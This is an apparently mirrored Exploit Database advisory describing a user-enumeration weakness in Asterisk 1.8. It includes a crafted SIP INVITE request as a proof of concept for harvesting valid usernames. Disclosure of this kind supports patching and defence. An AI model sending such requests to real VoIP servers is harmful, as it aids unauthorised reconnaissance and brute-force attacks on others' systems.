Asterisk 1.8.x – SIP INVITE Request User Enumeration

• Exploit Database
• 14 阅读

• 作者： Francesco Tornieri
  日期： 2011-05-02
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/35685/

• source: https://www.securityfocus.com/bid/47676/info
  
  Asterisk is prone to a user-enumeration weakness.
  
  An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
  
  This issue affects Asterisks 1.8. 
  
  The following request is available:
  
  INVITE sip:192.168.2.1 SIP/2.0
  CSeq: 3 INVITE
  Via: SIP/2.0/UDP www.example.com:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
  User-Agent: TT
  From: <sip:105@192.168.2.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
  Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2
  To: <sip:500@192.168.2.1>
  Contact: <sip:105@localhost>;q=1
  Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
  Expires: 3600
  Content-Length: 0
  Max-Forwards: 70